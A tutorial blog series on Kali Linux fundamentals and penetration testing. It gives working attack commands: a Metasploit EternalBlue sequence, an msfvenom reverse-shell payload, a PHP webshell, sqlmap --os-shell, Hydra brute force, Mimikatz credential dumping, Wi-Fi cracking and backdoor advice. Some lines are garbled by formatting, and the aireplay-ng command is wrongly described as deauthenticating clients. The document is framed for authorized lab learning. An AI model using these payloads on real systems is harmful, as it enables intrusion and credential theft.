Master Kali Linux Fundamentals

By /

Table of Contents

1. Installation and Setup

  • Choose an Environment :
    • Use a Virtual Machine (VirtualBox/VMware) for safety.
    • Allocate sufficient resources (4-8GB RAM, 2 CPUs).
  • Download Kali Linux :
  • Installation :
    • Create a VM, mount the ISO, and install Kali.
    • Configure network settings (NAT for internet access, Host-Only for internal testing).
  • Update Kali :
  • sudo apt update && sudo apt upgrade -y

2. Linux Command-Line Basics

  • Essential Commands :
    • Navigation: cd, pwd, ls, mkdir, rm.
    • File manipulation: cat, nano, grep, find.
    • Process management: ps, top, kill.
  • Advanced Tools :
    • netcat for networking, curl/wget for downloads.
    • awk, sed, grep for text processing.

3. Networking Fundamentals

  • Understand Concepts :
    • IP addresses, MAC addresses, TCP/IP model, DNS, ports (e.g., 80/HTTP, 22/SSH).
  • Tools :
    • Nmap : Scan networks and services.
    • nmap -sV <target> # Scan for open ports and services
    • Netcat : Port scanning and data transfer.
      • nc -zv <target> <port> # Check if a port is open
    • Wireshark : Capture and analyze network traffic.

4. Kali Linux Tool Categories

  • Information Gathering :
    • Nmap , Maltego (OSINT), theHarvester (email/internet scanning).
  • Vulnerability Analysis :
    • Nikto (web app scanning), OpenVAS (vulnerability scanning).
  • Exploitation :
    • Metasploit Framework : Exploit databases and payloads.
      • msfconsole # Launch Metasploitsearch exploit/windows/smb/ms17_010_eternalblue
      • # Example exploit
  • Post-Exploitation :
    • Meterpreter : Maintain access and privilege escalation.
    • Mimikatz : Extract credentials.
  • Password Cracking :
    • John the Ripper , Hashcat (GPU-based), Aircrack-ng (WiFi cracking).
  • Wireless Attacks :
    • Use Aircrack-ng to crack WPA/WPA2 passwords.
  • Social Engineering :
    • SET (Social-Engineer Toolkit) : Create phishing emails.

5. Lab Setup

  • Vulnerable Targets :
    • Use VMs like Metasploitable , DVWA (Damn Vulnerable Web App) , or WebGoat .
  • Network Configuration :
    • Set up a Host-Only Network between Kali and target VMs for internal testing.
  • Practice Scenarios :
    • Scan a target with Nmap, identify vulnerabilities with Nikto, exploit with Metasploit, and escalate privileges.

6. Ethical and Legal Considerations

  • Authorization : Only test systems you own or have explicit permission to test.
  • Privacy : Avoid scanning public networks or third-party systems.
  • Documentation : Keep logs of activities for accountability.

7. Learning Resources

  • Official Documentation : Kali Linux Tools List .
  • Books :
    • Kali Linux: The Penetration Tester’s Toolkit by David Kennedy et al.
    • The Web Application Hacker’s Handbook for web app testing.
  • Online Courses :
    • Kali Linux for Penetration Testing on Udemy.
    • Offensive Security’s OSCP Prep Course .

8. Practice and Projects

  • Start Small :
    • Use Nmap to scan a local network.
    • Use SET to create a phishing email (in a controlled environment).
  • Advanced Projects :
    • Exploit a service on Metasploitable using Metasploit.
    • Crack a hashed password with John the Ripper.
  • CTF Challenges :

9. Continuous Learning

  • Stay Updated :
    • Follow security blogs (e.g., Kali Linux News, Offensive Security).
    • Attend webinars or conferences (e.g., DEF CON, Black Hat).
  • Community Engagement :

10. Certifications

  • OSCP (Offensive Security Certified Professional) : A gold standard for pentesting.
  • CEH (Certified Ethical Hacker) : Broad security fundamentals.

Final Tips:

  • Document Everything : Keep notes on commands, tools, and workflows.
  • Experiment Safely : Use VMs to avoid damaging real systems.
  • Join Communities : Collaborate with others to learn and share knowledge.

By following this structured path, you’ll build a solid foundation in Kali Linux and penetration testing fundamentals.

Install, configure, and navigate Kali

1. Installation

Virtual Machine Setup (Recommended for Beginners)

  • Tools : Use VirtualBox or VMware (free for personal use).
  • Steps :
    1. Download Kali ISO : Go to Kali Linux Downloads and select the latest ISO.
    2. Create a VM :
      • Allocate 8GB RAM and 2 CPU cores for smooth performance.
      • Use dynamic disk allocation (minimum 30GB).
    3. Install Kali :
      • Mount the ISO, boot into the installer, and choose Graphical Install .
      • Select Guided Storage Configuration (LVM or non-LVM).
      • Enable encryption for the home directory (optional but secure).
    4. Post-Installation :
      • Update the system:
        • sudo apt update && sudo apt full-upgrade -y
      • Reboot the VM.

Physical Installation (For Dedicated Hardware)

  • Steps :
    1. Boot from the Kali ISO.
    2. Choose Install Kali Linux .
    3. Configure partitions (e.g., / for root, /home for user data, and swap).
    4. Enable LVM and encryption for security.
    5. Select SSH server and Basic Tools during package selection.

2. Configuration

Initial Setup

  • Create a Non-root User (avoid using root daily):
    • sudo adduser kaliuser
    • sudo usermod -aG
    • sudo kaliuser
  • Set a Strong Password for the user.
  • Enable SSH (for remote access):
    • sudo apt install openssh-server
    • sudo systemctl enable –now ssh
  • Configure Networking :
    • Bridged Mode (for internet access and local network integration).
    • Static IP (optional):
      • sudo nano /etc/netplan/01-netcfg.yaml
      • # Example configuration:
      • network: version: 2
      • renderer: networkd
      • ethernets:
      • eth0:
      • dhcp4: no
      • addresses: [192.168.1.100/24]
      • gateway4: 192.168.1.1
      • nameservers:
      • addresses: [8.8.8.8, 8.8.4.4]
      • sudo netplan apply

Advanced Configuration

  • Firewall Setup (UFW):
    • sudo ufw enable
    • sudo ufw allow ssh
    • sudo ufw allow 80/tcp # For web servers
  • Update Metasploit :
    • sudo apt update && sudo apt install metasploit-framework
  • Install Additional Tools :
    • sudo apt install nmap wireshark john aircrack-ng

3. Navigating Kali Linux Like a Pro

Terminal Mastery

  • Essential Commands :
    • Navigation:
      • cd ~ # Go to home directory
      • cd – # Switch back to previous directory
      • pwd # Print current directory
      • ls -la # List all files (including hidden)
      • tree # Visualize directory structure (install with `sudo apt install tree`)
    • File Management:
      • nano filename.txt # Edit files
      • cat file.txt # View file contents
      • grep “search_term” file.txt # Search text
      • find /path -name “file*”# Search for files
    • Process Management:
      • ps aux | grep process_name # Find running processes
      • kill -9 PID # Force-kill a processtop # Monitor system resources
  • Pro Tips :
    • Use tab completion for filenames and commands.
    • Use wildcards (*) for:
      • rm *.log # Delete all .log files
    • Use history to recall commands:
      • history | grep “command”
      • !123 # Run command #123 from history

Kali Linux File System

  • Key Directories :
    • /usr/share/kali-linux-default/ – Default tools and scripts.
    • /usr/share/metasploit-framework/ – Metasploit modules.
    • /var/log/ – System logs (e.g., auth.log for authentication).
    • /opt/ – Custom software installations.

GUI vs. CLI

  • GUI Tools :
    • Nmap GUI : zenmap
    • Wireshark : wireshark
    • Maltego : maltego
  • CLI Efficiency :
    • Use tmux or screen for session management :
      • tmux new -s mysession
    • Use htop for a better process viewer:
      • sudo apt install htop

4. Customization

Terminal Themes

  • Oh My Zsh (powerful shell with plugins):
    • sudo apt install zsh
    • sh -c “$(wget https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)”
  • Themes : Install powerlevel10k for a modern look:
    • git clone –depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

Aliases

  • Add aliases to ~/.bashrc or ~/.zshrc:
    • alias ll=’ls -lah’
    • alias nmap=’nmap –open -T4′
    • alias msf=’sudo msfconsole’

5. Pro Navigation Workflow

  1. Quick Access to Tools :
    • Use start for Kali’s menu:
      • start
    • Use find to locate tools:
      • find /usr/share -name “exploit.py”
  2. Scripting :
    • Write scripts for repetitive tasks:
      • #!/bin/bashnmap -sV 192.168.1.0/24 > scan_results.txt
  3. Resource Efficiency :
    • Use htop to monitor CPU/memory usage.
    • Use free -h to check RAM and swap.

6. Troubleshooting

  • Common Issues :
    • No Internet :
      • sudo dhclient eth0 # Renew DHCP lease
    • Permission Denied :
      • sudo chmod +x script.sh # Make script executable
    • Tool Not Found :
      • sudo apt install <tool_name>

7. Advanced Tips

  • Metasploit Configuration :
    • msfconsole
    • db_nmap -sV 192.168.1.100 # Scan and import into Metasploit DB
  • Use Git for Scripts :
    • git init
    • git add .
    • git commit -m “Initial setup”
  • Snapshots (for VMs):
    • Use VirtualBox’s Snapshot feature to revert changes.

8. Best Practices

  • Use VM Snapshots to avoid breaking your environment.
  • Update Regularly :
    • sudo apt update && sudo apt full-upgrade -y
  • Backup Configuration :
    • Save ~/.bashrc, ~/.zshrc, and tool configurations.

Final Pro Tip

By mastering these steps, you’ll become proficient in Kali Linux, enabling you to tackle advanced penetration testing tasks with confidence!

Essential for ethical hacking

1. Linux Commands for Ethical Hacking

Mastering the command line is critical for ethical hacking. Below are key commands and categories:

A. Navigation & File Management

  • Basic Navigation :
  • cd /path/to/directory # Change directory
  • pwd # Show current directory
  • ls # List files/directories
  • ls -la # List all files (including hidden)
  • tree # Visualize directory structure (install with `sudo apt install tree`)
  • File Manipulation :
    • cat file.txt # Display file contents
    • nano/vim file.txt # Edit files (nano is simpler; vim is powerful)
    • cp file.txt backup.txt # Copy files
    • mv file.txt newfile.txt # Rename/move files
    • rm file.txt # Delete files
    • mkdir dir # Create directory
  • Searching :
    • grep “search_term” file.txt # Search text in a file
    • find /path -name “file*”# Search for files

B. System Information & Networking

  • System Info :
    • uname -a # Show kernel version
    • top/htop # Monitor processes (install htop with `sudo apt install htop`)
    • free -h # Show memory usage
    • df -h # Show disk usage
  • Networking :
    • ip a # Show network interfaces
    • ifconfig # Older tool for network interfaces
    • ping google.com # Test connectivity
    • netstat -tuln # List open portscurl
    • ifconfig.me # Get public IP address

C. Advanced Commands

  • Text Processing :
    • awk ‘{print $1}’ file.txt # Extract columns
    • sed ‘s/old/new/g’ file.txt # Replace text
  • Permissions :
  • chmod +x script.sh # Make script executable
  • chown user:group file.txt # Change file ownership
  • Process Management :
    • ps aux | grep process # Find running processes
    • kill -9 PID # Force-kill a process

2. Desktop Environments in Kali Linux

Kali Linux comes with XFCE by default, but you can install other environments:

A. XFCE (Default)

  • Lightweight and fast.
  • Access apps via the Application Menu (search for tools like Nmap, Wireshark, etc.).
  • Use start in the terminal to open the Kali menu.

B. Other Environments

  • GNOME (User-friendly):
    • sudo apt install kali-linux-gnome
  • KDE Plasma (Feature-rich):
    • sudo apt install kali-linux-kde

C. Terminal Customization

  • Oh My Zsh (Powerful shell with plugins):
    • sudo apt install zsh
    • sh -c “$(wget https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)”
  • Powerlevel10k Theme (Modern prompt):
    • git clone –depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

D. Useful GUI Tools

  • Gnome Terminal or Terminator (split panes):
    • sudo apt install terminator
  • Tmux or Screen (session management):
    • tmux new -s mysession

3. Essential Ethical Hacking Tools in Kali

Kali Linux has over 900 tools. Here are the must-know categories :

A. Reconnaissance

  • Nmap (Network scanning):
    • nmap -sV 192.168.1.1/24 # Scan a subnet for open ports/services
    • nmap -p 80,443 target.com # Scan specific ports
  • Maltego (OSINT/Network mapping):
    • maltego # GUI tool for visualizing relationships
  • TheHarvester (Email/internet scanning):
    • theharvester -d target.com -l 500 -b all

B. Exploitation

  • Metasploit Framework (Exploit database):
    • msfconsole
    • search exploit/windows/smb/ms17_010_eternalblue # Example exploit
    • use exploit/windows/smb/ms17_010_eternalblue
    • set RHOSTS 192.168.1.100
    • exploit
  • Sqlmap (SQL injection):
    • sqlmap -u “http://target.com/login.php?username=admin” –dbs

C. Post-Exploitation

  • Meterpreter (Payload for maintaining access):
    • # After exploiting a target, use
    • Meterpreter:meterpreter > sysinfo # Get system info
    • meterpreter > shell # Get a shell
  • Mimikatz (Credential dumping):
    • mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit

D. Password Cracking

  • John the Ripper (Password cracking):
    • john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  • Hashcat (GPU-accelerated):
    • hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

E. Wireless Attacks

  • Aircrack-ng (WiFi cracking):
    • airodump-ng wlan0mon # Capture packets
    • aircrack-ng -w wordlist.txt capfile.cap

F. Social Engineering

  • SET (Social-Engineer Toolkit) (Phishing/Exploits):
    • set
    • # Choose ‘Phishing-Attack’ > ‘Website Attack Vectors’

G. Network Analysis

  • Wireshark (Packet capture):
    • wireshark
  • Netcat (Swiss Army knife for networking):
    • nc -lvnp 4444# Start a listener
    • nc target.com 4444# Connect to a port

4. Best Practices for Ethical Hacking

  • Stay Updated :
    • sudo apt update && sudo apt full-upgrade -y
  • Use Non-Root User :
    • Only use sudo when necessary. Create a non-root user:
      • sudo adduser ethicalhacker
      • sudo usermod -aG sudo ethicalhacker
  • Secure Your VM :
    • Enable Bridged Networking for real-world testing.
    • Use snapshots to revert changes.
  • Legal Compliance :
    • Always have written authorization before testing systems.
    • Avoid scanning public networks or third-party systems.
  • Resource Efficiency :
    • Monitor CPU/memory with htop.
    • Use free -h to check RAM usage.

5. Quick Reference Table

CategoryToolCommand
NetworkingNmapnmap -sV <target>
ExploitationMetasploitmsfconsole
**Password Cracking`John the Ripperjohn --wordlist=wordlist.txt hash.txt
WirelessAircrack-ngaircrack-ng -w wordlist.txt capfile.cap
**Social Engineering`SETset

6. Resources for Learning

Final Tips

By mastering these commands, tools, and workflows, you’ll be well-equipped to tackle ethical hacking challenges and penetration testing tasks! 🚀

Penetration Testing and Vulnerability Assessment

Here’s a structured guide to performing penetration testing and vulnerability assessment using Kali Linux, following the standard pentesting methodology :

1. Penetration Testing Methodology

Follow this step-by-step approach to ensure thorough testing:

A. Planning & Reconnaissance

  • Objective : Define scope, goals, and rules of engagement.
  • Tools :
    • Passive Reconnaissance (OSINT):
      • Maltego : Map relationships (domains, IPs, emails).
      • theHarvester : Gather emails, subdomains, and employee info.
        • theharvester -d target.com -l 500 -b all
      • Shodan : Search for exposed services online (web interface: shodan.io ).
    • Active Reconnaissance :
      • Nmap : Scan for open ports and services.
        • nmap -sV -T4 -p- 192.168.1.100 # Full scan with service detection

B. Scanning & Enumeration

  • Network Scanning :
    • Nmap : Identify open ports, services, and OS.
      • nmap -A -T4 192.168.1.0/24 # Aggressive scan of a subnet
    • Masscan : Rapid port scanning (for large networks):
      • masscan –rate=1000192.168.1.0/24 -p1-65535
  • Vulnerability Scanning :
    • Nessus : Comprehensive vulnerability scanner (requires license).
    • OpenVAS : Free alternative for vulnerability assessment.
      • sudo openvas-start # Start OpenVAS services
    • Nikto : Web server scanner.
      • nikto -h http://target.com
  • Web Application Scanning :
    • OWASP ZAP : GUI tool for finding web app vulnerabilities.
    • sqlmap : Detect SQL injection vulnerabilities.
      • sqlmap -u “http://target.com/login.php?username=admin” –dbs

C. Exploitation

  • Exploit Frameworks :
    • Metasploit : Use pre-built exploits from the database.
      • msfconsole
      • search exploit/windows/smb/ms17_010_eternalblue # Example exploit
      • use exploit/windows/smb/ms17_010_eternalblue
      • set RHOSTS 192.168.1.100
      • exploit
    • Exploit-DB : Manual exploit development (https://www.exploit-db.com/ ).
  • Common Exploits :
    • Unpatched Services : Exploit outdated software (e.g., Apache, SMB).
    • SQL Injection : Use sqlmap to gain database access.
    • Buffer Overflow : Use tools like Metasploit’s msfvenom to create payloads:
      • msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > payload.exe

D. Post-Exploitation

  • Maintain Access :
    • Meterpreter : Use the meterpreter payload for persistent access.
      • meterpreter > sysinfo # Get system info
      • meterpreter > shell # Get a shell
    • Create a Backdoor : Add a user or modify system files.
  • Privilege Escalation :
    • LinEnum/WinPEAS : Enumerate system vulnerabilities.
      • ./LinEnum.sh -u # Linux privilege escalation checks
    • Mimikatz : Dump credentials (Windows targets).
      • mimikatz.exe “privilege::debug””sekurlsa::logonpasswords” exit
  • Lateral Movement :
    • Use Meterpreter or SSH to move laterally across the network.

E. Reporting

  • Document Findings :
    • List vulnerabilities, their severity, and impact.
    • Include screenshots, Nmap XML reports, and exploit logs.
  • Tools for Reporting :
    • LaTeX/Markdown : Write technical reports.
    • Burp Suite : Export web app scan results.
    • Metasploit Reports : Use msfconsole’s reporting features.

2. Vulnerability Assessment Tools

A. Network Vulnerability Scanners

  • Nessus : Commercial tool for comprehensive scans.
  • OpenVAS : Free alternative to Nessus.
  • Nmap Scripting Engine (NSE) :
    • nmap -sV –script=vuln 192.168.1.100 # Run vulnerability scripts

B. Web Application Scanners

  • OWASP ZAP : GUI-based scanner for web apps.
  • sqlmap : SQL injection scanner.
  • DirBuster : Enumerate directories and files.
  • Wapiti : Automated web app vulnerability scanner.

C. Wireless Vulnerability Assessment

  • Aircrack-ng : Crack WPA/WPA2 passwords.
    • airodump-ng wlan0mon # Capture handshakeaircrack-ng -w wordlist.txt capfile.cap

D. Password Cracking

  • John the Ripper : Crack hashes
    • john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  • Hashcat : GPU-accelerated cracking.bashCopy1hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

3. Best Practices

  • Authorization : Always obtain written permission before testing.
  • Ethical Compliance : Follow the Penetration Testing Execution Standard (PTES) .
  • Documentation : Keep logs of every step (commands, findings, screenshots).
  • Avoid Noise : Use Nmap’s -T4 for faster scans but avoid overwhelming networks.
  • Use VMs : Test in a controlled environment (e.g., Metasploitable VM).

4. Example Workflow

  1. Reconnaissance :
    • Use theHarvester to gather subdomains of target.com.
    • Scan with Nmap to find open ports (e.g., 80, 443, 22).
  2. Exploitation :
    • Use sqlmap to find SQLi vulnerabilities on http://target.com/login.
    • Exploit a known SMB vulnerability with Metasploit .
  3. Post-Exploitation :
    • Use Meterpreter to escalate privileges and move laterally.
  4. Reporting :
    • Document the SQLi exploit, SMB vulnerability, and privilege escalation steps.

5. Quick Reference Table

PhaseToolCommand/Usage
ReconnaissancetheHarvestertheharvester -d target.com -l 500 -b all
ScanningNmapnmap -sV -T4 -p- 192.168.1.100
ExploitationMetasploitmsfconsole; use exploit/windows/smb/ms17_010_eternalblue
Post-ExploitationMeterpretermeterpreter > sysinfo
Web Scanningsqlmapsqlmap -u "http://target.com/login.php?user=admin" --dbs
Wireless CrackingAircrack-ngaircrack-ng -w wordlist.txt capfile.cap

6. Resources for Mastery

  • Certifications :
    • OSCP (Offensive Security Certified Professional) : Practical pentesting.
    • CEH (Certified Ethical Hacker) : Broad vulnerability assessment.
  • Practice Platforms :

Final Tips

By following this methodology and leveraging Kali Linux’s tools, you can systematically identify and exploit vulnerabilities while maintaining ethical standards. 🔍💻

Vulnerabilities in networks, web applications, and wireless systems (Identify & Exploit)

Here’s a step-by-step guide to identify and exploit vulnerabilities in networks, web applications, and wireless systems , using Kali Linux and industry-standard tools:

1. Network Vulnerability Identification & Exploitation

A. Identify Vulnerabilities

  • Tools :
    • Nmap : Scan for open ports and services.
      • nmap -sV -T4 -p- 192.168.1.100 # Full scan with service detection
    • Nessus/OpenVAS : Identify CVE-based vulnerabilities.
      • sudo openvas-start # Start OpenVAS services
    • Nmap NSE Scripts :
      • nmap –script=vuln 192.168.1.100 # Run vulnerability scripts
  • Common Vulnerabilities :
    • Unpatched services (e.g., SMB, Apache, SSH).
    • Misconfigured firewalls.
    • Default credentials (e.g., admin:admin).

B. Exploit Vulnerabilities

  • Metasploit Framework :
    • msfconsole
  • search exploit/windows/smb/ms17_010_eternalblue # EternalBlue exploit (CVE-2017-0144)
  • use exploit/windows/smb/ms17_010_eternalblue
  • set RHOSTS 192.168.1.100
  • exploit
  • Common Exploits :
    • Unpatched SMB : EternalBlue (Windows).
    • SSH Misconfigurations : Brute-force attacks with Hydra .
      • hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
    • Weak Passwords : Use John the Ripper or Hashcat to crack hashes.

2. Web Application Vulnerability Identification & Exploitation

A. Identify Vulnerabilities

  • Tools :
    • OWASP ZAP : Automated web app scanning.
    • sqlmap : Detect SQL injection.
      • sqlmap -u “http://target.com/login.php?user=admin” –dbs
    • DirBuster : Enumerate directories and files.
    • Burp Suite : Intercept and manipulate HTTP requests.
  • Common Vulnerabilities :
    • SQL Injection (SQLi).
    • Cross-Site Scripting (XSS) .
    • Insecure File Uploads .
    • Broken Authentication .

B. Exploit Vulnerabilities

  • SQL Injection :
    • sqlmap -u “http://target.com/login.php?user=admin” –os-shell # Get an OS shell
  • XSS : Inject malicious JavaScript in a vulnerable input field:html
  • <script>alert(‘XSS’)</script>
  • File Upload Exploits : Upload a PHP webshell (e.g., webshell.php):
    • <?php system($_GET[‘cmd’]); ?>
  • Access via http://target.com/upload/webshell.php?cmd=id.
  • Broken Authentication :
    • Use Burp Suite to intercept and replay authentication tokens.

3. Wireless Network Vulnerability Identification & Exploitation

A. Identify Vulnerabilities

  • Tools :
    • Aircrack-ng : Crack WPA/WPA2 passwords.
    • Wireshark : Analyze wireless traffic.
  • Common Vulnerabilities :
    • Weak WPA/WPA2 passwords.
    • WEP encryption (easily cracked).
    • Rogue access points.
    • Weak SSIDs or default credentials.

B. Exploit Vulnerabilities

  • WPA/WPA2 Cracking :
    1. Capture handshake:
      • airodump-ng wlan0mon -c 6 –bssid [BSSID] -w handshakes
    2. Crack with a wordlist:
      • aircrack-ng -w /usr/share/wordlists/rockyou.txt handshakes-01.cap
  • WEP Cracking :
    • airodump-ng –bssid [BSSID] -c 6 –essid [SSID] -w wep_handshake wlan0mon
    • aireplay-ng -1 0 -a [BSSID] wlan0mon # Deauthenticate clients
    • aircrack-ng -b [BSSID] wep_handshake*.cap
  • Rogue AP Attack : Create a fake AP with Hostapd and Dnsmasq to capture credentials.

4. Post-Exploitation & Privilege Escalation

A. Maintain Access

  • Meterpreter :
    • meterpreter > sysinfo # Get system infometerpreter > shell # Get a shell
  • Backdoors : Add a user or modify system files to ensure persistent access.

B. Privilege Escalation

  • Linux :
    • Use LinEnum /LinPEAS to find misconfigurations.
      • ./LinEnum.sh -u
    • Exploit SUID binaries or misconfigured services (e.g., sudo rules).
  • Windows :
    • Use Mimikatz to dump credentials.bashCopy1mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit
    • Exploit misconfigured services (e.g., Serv-U FTP ).

5. Quick Reference Table

TargetToolCommand/Usage
NetworkNmapnmap -sV -T4 -p- 192.168.1.100
Websqlmapsqlmap -u "http://target.com/login.php" --dbs
WirelessAircrack-ngaircrack-ng -w wordlist.txt handshakes.cap
ExploitationMetasploitmsfconsole; use exploit/windows/smb/ms17_010_eternalblue

6. Best Practices

  • Authorization : Always obtain written permission.
  • Minimize Impact : Avoid DoS attacks or data corruption.
  • Document Everything : Log commands, findings, and screenshots.
  • Use VMs : Test in a controlled environment (e.g., Metasploitable VM).
  • Stay Updated : Follow CVE databases (e.g., CVE Details ).

Example Workflow

  1. Network :
    • Scan with Nmap to find an unpatched SMB service.
    • Exploit with Metasploit’s EternalBlue .
    • Use Meterpreter to escalate privileges.
  2. Web :
    • Use sqlmap to find a SQLi vulnerability in a login form.
    • Dump the database and extract credentials.
  3. Wireless :
    • Capture a WPA handshake with Aircrack-ng .
    • Crack it with a wordlist to gain network access.

Resources for Mastery

  • Practice Platforms :
  • Certifications :
    • OSCP (Offensive Security Certified Professional) .
    • CEH (Certified Ethical Hacker) .

Final Tips

By following these steps and using Kali Linux’s tools, you can systematically identify and exploit vulnerabilities in networks, web apps, and wireless systems while adhering to ethical standards. 🔍💻

Leave a Comment

Your email address will not be published. Required fields are marked *

techyengineer

Menu

Our Blogs

Contact Us

Call Us

123456789

E-Mail

techyengineer@gmail.com

head Office

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus,

Copyright © 2025 techyengineer.com | Powered by techyengineer
Scroll to Top